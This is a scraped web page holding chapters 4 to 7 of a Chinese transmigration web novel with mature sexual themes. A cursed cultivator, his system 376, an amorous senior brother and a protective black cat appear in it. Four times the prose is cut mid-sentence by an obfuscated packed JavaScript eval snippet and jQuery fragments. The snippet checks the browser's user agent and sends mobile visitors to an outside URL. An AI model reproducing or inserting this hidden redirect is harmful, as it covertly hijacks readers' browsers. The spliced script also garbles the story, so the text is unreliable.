“既然如此,我送你一程。”
衣角的主人不知拨弄了什么,河面瞬间争动起来,谢因脚踩的小筏却安然无恙,正面迎接滔天巨浪。
“这一局因果,由你先写。”
而后,一阵轻快的铃声破土而出——
“恭喜宿主通过新手考核,主线正式加载中!”
4. 你好你谁
谢因蓦地惊醒,睁开眼睛。
四里归于平静,远离幽冥鬼里的森森死气,也没有动辄爆衣的超级赛亚人。
“我这是回去了吗……”
入目素白一片,鲛绡素纱层层叠叠,围拢他盘膝而坐的一枚蒲团,玉砖下的裂纹似有规律,如脉搏般的金线缓缓流淌,屋内置物也是一片洁净,唯独西置物架上齐齐排着一架典籍。玉髓成冰悬于额顶,温柔的光细如月色倾落,不至昏沉。
“这是什么地方?医院?哪家小众医院还给病人穿这种衣服……嘶!”
谢因想动,熟悉的痛感随着他躯体自适应慢慢回笼,这种痛觉几乎伴随着他睁眼看世界的全程,他已经习惯了。
“好的,没有回去,”谢因面无表情,“还是这该死的穿越。”
强忍不适站起身,一步一挪到案几旁,一只光可鉴人的琉璃盏被他当做镜子照了照,果不其然,五官倒还是自己的五官——
只是……卸去了六年007社畜的班味儿,两坨密度极高的熊猫眼圈也全然不见,一双温淡眉目嵌在苍白的脸皮上,微微下垂的眼角蕴着百来年油尽灯枯的倦意,更衬得唇红齿白、还相当有点破碎感。但想起系统为他介绍身份是大加吹捧的六界第一美人,谢因一时觉得这个头衔有点水。
白衣,玉冠,墨发垂腰有如绸缎,如今只好任凭它们松松散在塌上,懒得去管。
他气若游丝地瘫坐下去:“这是哪儿?是《仙堕》还是另一本小说?”
“该不会是被那个倒霉的376乌鸦嘴说中,穿到什么生/子/文里去了……我去,这又是什么玩意。”
他忽然感觉到自己袖子里滚出了一只毛茸茸的活物。这团黑毛油光水滑,又细又软,正乱七八糟地在谢因怀里呼呼大睡。
谢因双眼一眯,秒确诊,一只小黑猫。
难道是什么人.兽剧本?!
谢因警惕三秒,端详此物——这是一只泰山崩于前而照睡不误的黑色小猫。谢因抬起手从头到尾撸了一遍,竟然感觉到一阵久违的神清气爽,还好还好,此等萌物应该不会是那种惨无人道的小说设定NPC,估摸着是原身的小灵宠。
萌物灵宠似乎是感受到了谢因的动作,惬意地翻了个身,肚皮朝天呼噜起来。
“哎……”呼噜得谢因的心软软的。
倒霉牛马谢因先生是一位彻头彻尾的猫奴,在经过接二连三死了又活的打击,眼前这只能呼吸的毛茸茸生物俨然成了这个世界唯一的一点温度。
如果他没有“久违”地听到那阵“悦耳”的千禧年手机彩铃的话……
“宿主您好,我是系统376号,恭喜宿主通过新手考核。”
谢因不得不承认,在这个遍地神经病的地方,376号那个不靠谱的家伙竟都让他产生了一点微不可查的思念。
“你的意思是,我死里逃生又被人一刀捅穿,这种难度只能算新手任务?”
哪个公司设计这么变态的实习考核一定会因为招不到人而破产的吧!
“嘿嘿……这个嘛,宿主应该还记得我提示过你,渡云真人有件法宝,名唤「因果」,能回溯时间,让您全身而退,”376号略显谄媚地笑了两声,“毕竟也不是每个人都能当上穿书主角的,只有通过新手考核的天命之人才能获得穿书资格!因此在正式进入主线剧情前,我们穿越管理局都会考核您的能力。”
“现在您已经逃出既定结局,使用「因果」回溯过去,”376号陡然拔高声音,“您真是机智又冷静,完成得又快又好!我越来越相信你能帮我度过实习期啦!”
还实习期,如果手边有电脑,谢因投诉信已经写了5000字:“那我如果没通过考核呢?”
376号理不直气也壮:“那在原世界加班猝死的您就彻底嗝屁啦!”
谢因:……
“可我没用什么道具,我是被人杀了才回来的,”谢因诚实坦白,“还有,所以现在是……”
“八年前,故事的起点!”话题总算步入正轨,376号兴高采烈地回答,“也就是《仙堕》的开始,您刚才已经看到自己的结局有多惨了,所以请您从头开始修正整个崩坏的世界。八年前的您真是光彩照人,不愧是六界第一清冷师尊啊!”
不知为何,376号明明并没有实体,但他说这段话时谢因去却感受到了一些类似于左右声道环绕音的效果,像是被人从头到尾打量了一番。
“这里是渡云真人成仙后的闭关用的水月洞天,虽然审美略显丧葬,但看起来就很贵,”376号的声音从左耳穿到右耳,又在山洞里转了个遍,“原身常年在此处闭关,两耳不闻窗外事,一心练剑炼法宝,折腾他这些有灵力的刀刀剑剑瓶瓶罐罐。”
“也不上班,纯摆烂。”谢因打心底里有点羡慕嫉妒。
“没错!所以你暂时不用担心你这个‘冒牌货’会穿帮,因为大部分人并不知道渡云真人究竟是个什么样的人。”376号接着说,“只要您能在故事结束之前修复好这个崩坏的世界,就能够解除与该世界的绑定回到现实,穿越所带来的‘猝死’结果也会被修正,简单来说就是我们能够帮助您原地复活,不加量不加价,童叟无欺质量可靠,还您健康身体。”
谢因一喜,他还能回到原来的世界?
这条件确实很诱人,虽然从这个376号嘴里讲出来一整个不靠谱。
“帮助我复活……你们不能直接帮我复活吗?为什么还要来这个世界做什么任务。”
376号像在背公式:“呃……这个,因为您是通过考核后被选中修复这个世界的人,您的死亡结果我们可以通过您修正世界的结果进行重构,但如果您不解除与这个世界的绑定,那么我们没有办法更改您的命运。”
行吧,世上没有免费午餐。谢因只好认命:“debug是吗,具体需要我怎么做。”
“修好这个世界所有性缘脑,防止魔尊彻底堕化为魔,毁灭世界。”
魔尊?谢因想到穿越当天遇到的魔化的萧循,顿时浑身的力气都被抽干了……这个该死的设定真是一目了然,“……这个世界有什么不谈恋爱就会死的规则吗?”
“并不是,”376号难得斟酌了片刻,“但这个世界可能有一个睡不到你就会死的规则,啊哈哈,毕竟这里是那种文嘛。”
不要把这种事情说得那么稀松平常好不好。
“就算是煌.文……”谢因对此已经有些麻木了,毫无廉耻心道,“也应该有主角吧,总不能每个人都要睡我。”
376号语气十分轻快且乐观:“哎,那当然了,宿主你不要太悲观啦!虽然这个世界上几乎所有你遇到的人都想睡你,但大部分都只睡了你一次,把你翻来覆去睡了很多次并且直接影响剧情的大猛1并不多,这个您可以放心哒!”
哪里值得放心啊?
见谢因一副两眼空空的摆烂脸,376号十分“贴心”地说:“虽然在这个崩坏世界出现的时候,这本小说目前的部分就已经不完整了,但我还是尽力抢救下了一些片段,供
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809957|175186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
您参考!”
谢因眼前出现了一个超现代的极简风冷光屏,一个熟悉的红色pdf文件角标闪烁,文件被缓缓打开,同时传来的,是那头376号字正腔圆且富含感情的朗读。
不得不说,短短几页纸,道不尽剧情跌宕,人物和姿势倒是一茬更有一茬新!
十五分钟后,谢因悬着的心终于碎成了八瓣。
376号见他不语,只一味搓着眼睛,关切问道:“还好吗宿主?我听说这好像是原文里面比较初级的一些片段了,是不是很荒唐很离谱很难以置信,但这就是导致这个世界崩坏的原因。”
“是啊……呵呵。”谢因嘴角抽搐。
谢邀,一个修真世界里神仙鬼怪全都不思进取力争上游,反而天天想着对主角强取豪夺囚禁逼迫,道心能不破碎?门派怎么兴旺?地区如何发展?
仙界掌门想睡他,不惜弃众仙门于不顾,任凭它们坠落凡界,摔个粉身碎骨;有权有钱的妖界大掌柜想睡他,攫夺众小妖修为与他双修,吸得妖界寸草不生;魔界老大想睡他,公然出兵攻打凡界,整个中州生灵涂炭寸草不生……
这个破世界不崩才怪。
谢因从这通篇三纸无驴的“所有人都想睡他”里勉强归纳总结出一点干货,和之前376号说的差不离——男主渡云真人有一位徒弟,也就是开头那个神经病萧循,身负魔种,一旦魔种在他体内生根发芽,这小崽子顷刻就会变成毁天灭地的大魔头,把这个本来就因为性缘脑岌岌可危的世界一拳锤爆。
“我现在想支持我那个素未谋面……不是,一面之缘的魔种小实习生了。”谢因还是很难把“徒弟”二字说出口,“能不能让他快点堕魔。”
“可是那样的话,宿主你也只能跟着死在这个世界啦。”
一时不知道究竟是加班猝死更窝囊还是在这个破文里殉了整个世界更窝囊。
“……那还是等会儿推进这个方案,”谢因在脑内把这一条划到“容后再议”的备忘录里,“带我回来的那个法宝……「因果」呢?虽然我不知道我到底怎么启用它回来的,但现在是八年前,它应该还在吧,它有没有作用,能不能修正这个世界?”
谢因说着,果然在白玉床和猫猫边上看到了那个被人争相觊觎的法宝,那是一盏紫色的莲花灯,仿佛是琉璃质感,却蕴着些微莹润的白色流光。样子是挺漂亮的,但按照谢因目前这点“道行”,很难看得出这破灯到底有什么好觊觎的。
这次376号没有废话,直接甩了一段开头过来。
“……渡云真人为求修炼法宝「因果」,偷用禁术,走火入魔,致使体内灵脉尽碎,也让法宝碎裂散落各界。同时,炉鼎体质暴露,五界为之蠢蠢欲动,皆向仙界而来。”
谢因明白了,谢因闭嘴了。
他总算知道自己身上这些挥之不去、如影随形的疼痛是哪儿来的了。
灵脉断了、法宝碎了、修为没了、记忆全无,还被迫觉醒了大号“唐僧”的命运,有九九八十一难等着自己。
天崩开局,不过如此。
哗哗——
就在此时,一阵诡异的风灌入这洞府之中,催得洞府结界处白玉铃兰簌簌响动,如细雪纷纷而下。
“有人?”谢因蹙眉,已经相当熟练地指挥系统给人物介绍,“是谁?”
“根据剧情……应当是你师兄,兰棹辞。”
376号的语气甚至有点雀跃:“记得刚才看的剧情吗!这位就是本书开局第一个来睡你的NPC啊!”
5. 不知春睡(上)
为了让谢因能够更好地进入剧情,376号进步神速,零点几秒的功夫,一页带着人物大脸和生平介绍的PPT赫然在谢因面前展开。
“兰棹辞,仙界十二掌司之一,仙界执行部门‘晏清司’现任掌门,”376飞快地介绍,“不苟言笑,雷霆手段,名下徒子徒孙很多,都对他高强度的教育方针怨声载道。他是目前能够进行测算的数据中,屹立仙界百年不倒的第一战力哦!”
376介绍完,又对着谢因点点点:“顺带一提,原身渡云真人本是晏清司的二把手,但你从不上班天天摆烂,所以整个晏清司的工作由卷王兰师兄一肩扛了,但兰棹辞似乎乐在其中,非常爱上班,还以一己之力,把晏清司的kpi卷到了仙界十二司之首。”
谢因拒不承认:“摆烂的是原书的渡云真人不是我,我带的组员也很多,年终奖20万OK?”
376号装没听见:“哦对了,你们俩从小一起长大,是不折不扣的郎骑竹马,同门师兄弟、共负命运,这年头读者们就爱看这一出爱与恨同党啊……”
“看起来是个心软的好人。”谢因说,他要是有这种上司恐怕就不会落得个猝死的结局了。
376号十分同意:“确实,他的服务意识也很强,熟练掌握各种体/位,后面章节也有他哦,蒙眼PLAY什么的,非常注重双方的体验呢!”
“闭嘴,0个人问你了。”
不过说起上司,谢因又想起那抹幽红色的身影,也不知道那个“温叙”是不是也回到了八年前。毕竟那时候白光一闪,他自己被卷进去了不假,周围的人有没有被牵连就不知道了。
想到了他,谢因顺口就问了376号:“对了,温叙……原作里,现在,他是做什么的?”
“温叙?”376号那头沉默了一会儿,“抢救的这些片段里没有这个人呢,宿主你确定他叫这个名字吗?”
“哦,没有就算了。”谢因有些沮丧,与现实世界唯一的连结就这么断了?
还是说,少了个人陪自己倒霉于心不甘?啧。
可那个时候,他明明听见有人喊他的名字。
不过那人看起来深不可测,比自己这一身惨相不知道好上多少倍,还是先应付眼前的麻烦吧。
376号的时停下线前,不忘提醒谢因:“虽然目前还没生成新任务,但宿主你可一定要记得不能露馅啊!要是被发现你代替了原身,仙界真的会把你吊起来打得魂飞魄散的!”
谢因:……
行,不就是个在煌文里出现过的隐形癫子,兵来将挡,水来土掩,反正不能比现在更倒霉了。
随着376号的声音彻底消失,时间又平缓地涌动起来。
兰棹辞来得很急。他踏进洞府的一刻,谢因正在盯着那颗在他洞府上方充当光照来源的寒玉髓,目光是一片死寂里暮气沉沉的探究,丁点儿要起身迎接的打算都没有,火气更甚。
“渡云长老好雅兴啊。”
事实上,谢因正思考怎么才能不露馅——这位名义上的师兄生得霁月清风,一看就很符合“修仙之人”的刻板影响,一副修为深厚、不论何等乌遭背景,只消他往那儿一站,便是皑皑陌上雪、杳杳故人归的样子。
只是霁月清风的师兄毫不客气,几息间已欺身近前,“你到底想做什么!伙同魔族浊灵入侵流光祭,闹得外头大乱!你倒是还在这里……逗猫玩儿?究竟把晏清司的脸面,扶摇的安危置于何地!”
哇哦,好熟悉的嫁祸套路。
谢因只觉得手边的黑猫受到了兰棹辞的惊吓,耳尖一动,浑身颤了颤,也不知睡得安不安稳,顺着猫咪的颈背又rua了两把,故作深沉。
但其实此人脑子里已经开始放炮:魔族的浊灵是什么?晏清司负责什么?扶摇是什么?流光祭又是什么玩意儿?听起来像文旅局搞什么噱头做的花灯会。
这该死的穿书系统真是对他百分百绿色无污染全方位保护,连点记忆都不给他加载,导致他现在看什么都是一片空白,只能仰赖他自己。谢因只好半死不活地开口试探:“魔界要是打上门来了,师兄还有闲心来找我发脾气?”
兰棹辞原本一脑门的官司和一肚子心思等着发作,张口正要骂,却被谢因这句话噎住了,耳根突然一红:“你叫我……什么?”
谢因懵然不知:“师,师兄啊。”
兰棹辞眼神闪烁了一下,而后似是冷冷一笑:“师弟这是在嘲讽我?”
谢因:= =?
“幼时,你我二人相继拜入师门,同吃同睡同修炼,你聪明,我卯足了力气追赶,才厚着脸皮让你们称我一句“师兄”,”兰棹辞看着谢因,竟然驴头不对马嘴地开始读回忆,言辞里还有几分不知从哪儿借来的深情,“后来,呵,你我一起面对扶摇内斗,鸿蒙动荡,师父仙逝后,我不得不匆忙继任掌司,可那时起,你便不再喊我师兄,数百年的情分,我一直以为尽了。”
兰棹辞向谢因逼近两步:“如今魔族对我扶摇虎视眈眈,浊灵已然穿越千年结界进犯扶摇,师弟倒是愿意喊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809958|175186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我师兄了,怎么?嘲讽我治下不力?还是你当真与那些魔族有什么首尾……”
谢因:= =。
他其实单纯只是在那些高危人物简介里记住了“师兄”两个字而已,一句试探威力这么大?
还有他脸红什么啊?!
兰棹辞见他沉默了好一阵,才从旧忆中醒转过来,这才发现自己师弟这名叫“水月洞天”的洞府已是一片狼藉,他素日是最爱整洁的,如今却散落满地,怎会如此……
他目光灼灼审视谢因,又调动灵力试探谢因的身体情况,结果竟发现对方身上的灵脉毫无反馈迹象?!
兰棹辞蓦地睁大了眼睛:“你!你为何灵脉尽断?”
谢因一脑袋官司,不知道这哥们到底要他先回答哪个问题——不对,哪个他都回答不上啊。
兰棹辞恼了,猛地拽过谢因,两人之间的距离呼吸可闻,一双微微上挑灰色眼睛里像是淬了冰:“渡云……你真是,为了那法宝,什么都不顾,什么都舍得?你到底用了什么见不得人的邪术,把自己弄成这幅不人不鬼的样子?”
谢因:ORZ。不要再提醒他到底有多倒霉了行不?
“你……”眼见谢因仍然一副无知无觉的样子,兰棹辞咬牙,眼中寒冰又顷刻另一种火焰点燃,“这么多年,你对把扶摇十二司得罪个遍,又把自己关在水月洞天不理世事……这些都罢了,我都能替你摆平。可你如今把自己毁成这样,到底是听信了谁的蛊惑!浊灵的事与你究竟有没有关系!你知道你现在是什么样子吗?”
谢因一个字也听不懂,但这位师兄情绪上地也太快了吧?!
活了这辈子岁数的人不能,至少不应该……
这中间到底出了什么差错?
谢因并未意识到自己现在这幅“两眼空空”实则大脑飞速运转的模样在他兰师兄眼里,是默认,是迷茫,是误入歧途的师弟对自己发出无声的求助。
兰棹辞心中又痛又痒,他师弟一向是很好看的。不似他被晏清司一片规制的死气沉沉,斗大的天道压在头顶,一步也不能行差踏错,但渡云却是照旧我行我素,真像一片野鹤闲云。
高处不胜寒,他是天才,随性傲慢,又难攀折。
这样的人,而今他簪发尾的玉兰,又缘何碎了一地呢?
谢因发现这位本该来找他谈正事的部门老大突然就哑了嗓子,眼角微红,强行禁锢自己,开始说胡话:“你的「因果」回应你了吗?睁开眼睛看看吧……与其这样,还不如让我来……”
6. 不知春睡(下)
“不是,等等,”谢因身子一软,“浊灵和结界的事不谈了?您的重点呢?”
兰棹辞像是受到了什么感召,整个人的“霁月清风”和“严肃正直”都仿佛被系统吃了,他扣住谢因的手腕,想要将人反摁在榻上,完全不理会谢因的话,只一味念台词:“你应该会喜欢这样吧?从此你什么都不用做,只需要乖乖躺在我的洞府里,你做的这些丑事,我都会帮你遮掩……”
一边说着,他另一只手从谢因耳际的长发向下探去,最后落在他原本就因修炼反噬而散乱的衣襟。
这个角度,甚至能看清他松散衣襟的内里,气息悬在他耳畔,已经乱得不像修行之人。
谢因慌了,但他慌的不是兰棹辞这幅突然情欲上脑不管不顾要和自己“比翼双飞”的样子,他慌的是——他这具身体居然毫无反抗的想法!
体温陡然升高,被汹涌的热意席卷包裹,正如尚未穿回八年前,萧循触碰他时的感受。
好热,好难受,好想……
等等,谢因脑中警铃大作,狂敲系统。
376号姗姗来迟:“我这时候打扰你好吗?你们不是马上要办事儿了吗?需要我帮你搜索一些辅助工具渡过处男难关吗?不过……会萎吧。”
谢因出离愤怒:“你实习期想不想过了!我为什么会……那样?”
376号的态度果然转变:“宿主你因为修炼禁术走火入魔,炉鼎体质暴露,跟你瑟瑟会疯狂地涨修为,所以导致再正常的人碰到你,哪怕前一秒还在好好说台词,下一秒都会ooc变成瑟瑟狂魔啦。”
谢因没听懂:“什么体质?”
“炉鼎体质,不过这本书里的有点特别,翻译一下的话……呃,就是魅魔体质啦!”376号用最一本正经的口吻讲着最瑟禽的设定,“不但别人一靠近你就想和你瑟瑟,你一靠近猛1也很想瑟瑟,整个世界就是一个巨大的瑟瑟……咳,扯远了,毕竟本世界的一切设定和剧情都是基于这个体质发展的,所以很难在剧情内解决‘发/情’问题的。”
这是什么狗屁体质啊?!谢因想死:“我是有道德底线的,我不接受和陌生人打. 炮。”
“这不是陌生人,这是青梅竹马好师兄啊!”376号嘴贱了一下,而后回答,“系统根据计算给出最优解决方案是暂时虚与委蛇委曲求全渡过难关,这个兰棹辞虽然想睡你,但好歹一表人才,是最合适带你了解这个世界的的新手入门Npc,再不济让他对付以后黑化的萧循也可以——啊,最重要的是他活很好。”
谢因:“……这福气给你要不要。”
“眼一闭一睁一天就过去了!”
谢因再一次把这该死的系统手动屏蔽到九霄云外去了。
情势实在容不得他拒绝。正如他这位一碰到他就ooc的师兄所言,他如今一点法力都用不出来,再加上这个炉鼎体质,恐怕在他们这些人眼里跟砧板上的鱼肉没两样,就算兰棹辞对他没有使用一点灵力,凭借一个成年人的力量也足够对付现在虚弱的谢因了。
一浪高过一浪的汹涌情.潮不断撞击他的理智,他已经隔着衣服感受到兰棹辞的体温,也感受到他的动作。
“等一下……嗯,扶摇,魔族……”
谢因伸手去推,只感受到一阵绵软无力。
可他偏偏,更想迎合,更想向下堕落……
有没有救一下啊。
“喵嗷——”
千钧一发之际,一道黑色的虚影一晃,速度之快,碾压被下半身短暂夺舍的兰棹辞,而后,谢因只感受到一阵巨大力量的冲撞,整个山洞都被震得晃动了两下,一股蛮横的力气把人生生震开一尺!
谢因被甩出几米远,好不容易爬起来,定睛一看,发觉作怪的竟是那只一直贴着自己颇有睡相的小黑猫。
黑猫似乎是被扰了清梦,宝石红色的眼睛骤然变成金色,极为不爽,浑身的毛都炸了起来,耳朵向后飞起,不悦地冲兰棹辞“哈”了一口气,见兰棹辞不理睬自己,愈发生气,趁其被自己震晕,以飞快的速度和惊人的力量,叼着他的领子,把这位渡云真人口中的“师兄”一气呵成地丢出洞府外。
一阵咣榔响声,外面没了动静。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809959|175186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>做完这一切,黑猫心满意足地砸吧了一下嘴,又贴着浑身滚烫的谢因,蜷成一团躺下了。
方才将兰棹辞扔出洞府的那股巨大灵力像抡天力锤一记,把谢因也震了个天旋地转,他本想爬起来去看看兰棹辞的死活,可脚下发飘,眼前突然一黑,□□脆利落地锤进了梦里。
也行,反正他现在这个身体状态也不是很想醒着。
好猫,好猫……
他跌进了又一个滚烫的怀抱,周遭环境飞快倒退,谢因像是又回到了自己的世界……梦里他回到了哪一次年会,谢因没架住劝酒多喝了几杯,他摇摇晃晃走向网约车,晕头转向地关上车门后,车门突然“咔嚓”一声被内锁上了。
“冷……”谢因迷迷糊糊地冲驾驶座嘟哝,“师傅关窗,风吹的头,头疼。”
驾驶座没有动作,几秒后,不知哪里传来一道带笑的温和声音:“听他的,关了。”
车窗被缓缓关上,车内的气温陡然升高,隔绝了窗外小年夜的热闹,极小的空间里流淌着低沉缓慢的法式音乐。
“都关上。”
那个声音又说,而后,谢因似乎看到后排与前排之间缓缓升起一块挡板,谢因没见过那么牛逼的网约车,以为自己是眼睛发晕,伸手去摸,险些被关上的挡板夹住。
突然,一直冰冷的手抓住他的手背,抓了回来,顺势将谢因一带,另一抹冰凉像蛇一样附上了谢因的腰。
“别乱动。”
酥麻的痒意自那截有力而冰冷的手臂触碰起,再也无法收拾。谢因像一件礼物一样,一层一层被人拆开,最后才是领带,修长的手指从尾部缠绕到领带根节,向他的方向拉扯,就像一根抵住欲望的项圈。
而后他像是被抛进了大海,冰凉的触感浸透全身,他上下起伏,无法呼吸,汹涌的海浪朝他打开——
谢因最后才勉强张开眼睛。
面前那个优雅地,艳鬼一样的男人,正在缓慢用目光、呼吸、手指掠. 夺他身体每一寸的男人。
竟然长着一张温叙的脸。
老天奶啊……!!!
7. 扶摇卷王
有时候一个人梦到领导也挺无助的,但真的力道刚刚好,懵逼不伤脑。
洞中无春秋,谢因再次醒来时,身上的热意已经尽数消退了,而灵脉断裂带来的疼痛也被这具二极管一样的身体消化泰半,剩下些无尽的疲惫和困倦挥之不去,倒是跟他半死不活的上班状态很契合,完全不用磨合。
难以磨合的是……谢因一激灵从白玉床上坐起来。
刚才那个梦……
为什么自己会在梦里和温叙……他又不是上班有瘾,难道——
谢因把怀里的小猫提溜起来,正在呼噜的小黑猫被拉成好长一条,一双已经恢复宝石红色的眼睛很不爽地看着他。
好像啊。谢因心想,难道是因为他觉得这只猫很适合给温叙猫塑吗?
谢因沉默地盯了一会儿这条黑猫,想起方才它救自己于危难之间,掏心掏肺地夸赞:“你是哈利O特的神奇魔法猫,甩那什么劳什子系统九条街。”
猫好,小猫拯救世界,这个世界没有小猫还能转?硬撑罢了!
“叮咚!”
沉寂许久的系统页面终于再次出现在谢因面前,一行用标准仿宋GB-2312打出的任务跃然眼前。
“恭喜宿主,对本世界探索已达1%,现在更新任务:请宿主查清浊灵入侵扶摇一事,洗清自己的嫌疑——再次提示,隐藏穿越者的身份,如被发现,视作任务失败。”
有任务就好。谢因活动了一下身体,又对镜练习了一下这位清冷师尊的皮笑肉不笑,确信能吓死一群实习生,满意地收了神通。
根据兰棹辞所述,现在有人勾结魔界释放了一种名叫“浊灵”的东西进入了仙界,而现在仙界正在举办“流光祭”,约等于春节大集,他原身所在的部门叫“晏清司”,这个仙界执行部门似乎还负责流光祭的安保。
可渡云闭关多年,就算浊灵入侵,安保出现问题,兰棹辞为什么第一反应会觉得是渡云与魔界勾结导致的?又来找自己发什么疯?
谢因戳了戳376号:“浊灵具体是指什么。”
376号抓取信息的速度倒是很快:“浊灵是一种魔界产物,魔族也分好几类,有生来就是魔认认真真修行的一般好魔,也有专门依靠吸食人的恶念增加修为的low货,而在扶摇……哦,扶摇就是你现在住的地方,你理解成仙界也可以啦,在扶摇庇护各界后,魔族无法轻易破圈行走,只能在大荒九崔地盘生活,那地方——啧啧,四个字,暗、无、天、日啊。”
谢因:“很少见的设定,魔族也有好魔。”
“刻板印象要不得啊!”376号说,“本书的原作是接受过现代教育的大学生,新时代新思想,给人贴标签是不利于时代进步的!”
谢因:……大学生写论文发刊之余居然还有力气写煌文,那么耐造将来一定能打一辈子工的。
376号继续解释:“可是世间的恶念其实也很有限,那些坏魔不够吃,或者嫌吃得不够好?就制造出一种名为‘浊灵’的东西散布四界,通过附在人身上吸收他们身体里的恶念不断壮大自己,不仅能够放大人心之恶,控制人的情绪、情感,甚至能够赋予他们一些力量,做出更加疯狂的事情,这样他们就能源源不断吸收更多恶念啦。高等级的浊灵甚至能够脱离附身独立行走,进化出自我意识,与妈生魔几乎没什么区别,还更加难对付些。”
“明白了,寄生掠夺关系,”谢因简易翻译成方便自己理解的语言,在他阅读原文片段时,并没有发现相对应的名词解释,只能说如果原作者没有定义这些,这个世界也在按照一些破破烂烂的逻辑运行着。
接着376号又从这个破破烂烂的世界观里摘出了一点介绍发给谢因。
《仙堕》这本书的框架下存在着六界,包括妖、魔、鬼、人、神、还有他目前所在的仙界——扶摇,扶摇是十二座悬浮于空中的仙岛组成的,于云海之间,凌驾于其他众界之上,十二座仙岛像十二个办公室,各自负责不同的仙界事务,“晏清司”就是其一,所以虽然仙界看起来祥和宁静,实际上也逃不开职场内部矛盾。
至于神界,只听说有这个概念,但从没有记载它在哪里,长什么样子,对于普通修真者来说,仙界就已经是他们所了解到最接近神的地方了。
谢因又问,“六界这么多生物,这些浊灵种在谁身上都能‘发芽’?”
“是的,仙魔人妖鬼,不论是肉体凡胎还是仙骨魂魄,浊灵无孔不入,因此仙界培养了一大批能够驱散浊灵的弟子,也就是你和兰棹辞所在的晏清司,”376号说,“晏清司在其他几界都设立了办事处,负责处理浊灵,这也是仙界受人尊重,且和其他几界关系一直不错的缘故!”
“扫.黑办和地方扫.黑小组是吧。”
他意识到,这个世界本质仍然是弱肉强食、修为至上。即便原主沉迷闭关已经摆烂很多年了,但他所在的晏清司显然是仙界的重要部门,打手众多,责任重大。如果原主修为尚在,恐怕即便暴露炉鼎体质,也不会那么轻易就被人得手。
“按设定,扶摇的结界这么强,确实只有内外勾结结界才有可能被打开……但根据原文设定来看,原身只是懒得管,目前并没有对扶摇的深仇大恨,”376号又是一阵勤勤恳恳的翻书声:“啊,这部分原文遗失,我们也无从知道真相。”
“好吧,多半是出叛徒了,友商挖人,带核心技术跳槽,还嫁祸到了我头上,”谢因心说,“既然如此,先下手为强。”
谢因活动了一下勉强组装完毕的四肢,抱着猫出了洞府,洞外是一片流光溢彩的云霭,兰棹辞还未醒来,像具尸体似的斜在门口一片祥云上。
谢因扶正兰棹辞的身子,而后十分清脆地,抬手给了他脑袋一巴掌。
“啪——!”
嗯,好听,是好脑袋。
兰棹辞幽幽醒转,看见谢因好端端站在他面前,居高临下,还带着点睥睨雄视的味道,一时不知道自己身在何处,是来干什么的。
“我觉得你我之间存在一些误会,”谢因把手揣回袖子,“这么多年,师兄为晏清司鞠躬尽瘁,死……春蚕到死丝方尽,我又怎会不知。”
水月洞天修建在墨画云山之中,终年白雪裹覆,他如今凡胎□□,还没个羽绒服,冷得发抖,只好贴近袖子里的小猫捂手。
兰棹辞发难的舌头瞬间软了下来:“……你刚才,怎么会……你果真的跟那些邪魔外道同流合污?”
谢因摇了摇头,满脸镇定地不能再镇定:“这是我游历时有缘结契的灵宠,与我一同闭关修炼,应该是你吓到它了才会这样。”
兰棹辞脸色一黑,瞥了一眼谢因袖子里的小黑猫,黑咕隆咚的小猫和袖子的阴影几乎融为一体,但宝石红色的眼睛格外亮,正呈一个十分不爽的下三白眼,瞪着他。
“灵宠?你以为我好诓骗吗?明明……”
谢因没给他继续歪楼的时间:“师兄来既然是为正事,我们也别在这儿浪费时间,出事的结界在何处?”
要尽快了解这个世界,不能老站桩对话,多说多错,错了就会露馅。
兰棹辞拼命压下火气,见谢因已恢复正常,自己也只好端起架子,咬牙吐出一句“管好你的灵宠”后,便直起身来,不知使了什么法术,几道黄符自他肩头飞起,衣裳发型瞬时焕然一新,又回到了那副拒人于千里之外的“晏清司掌门”壳子里去:“跟我来。”
出事的结界就在谢因的“水月洞天”不远,不过转了两个弯,便见一面巨大的水镜浮于天际之间,水镜折射出一道巨大的屏障,分明是无光无色的结界,却让人清晰看到上头如贝母般流淌的暗纹,尽显仙界威严——只是此刻几个负责看守结界的晏清司
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809960|175186||http|test|mini|href|location''.split(''|''),0,{}));
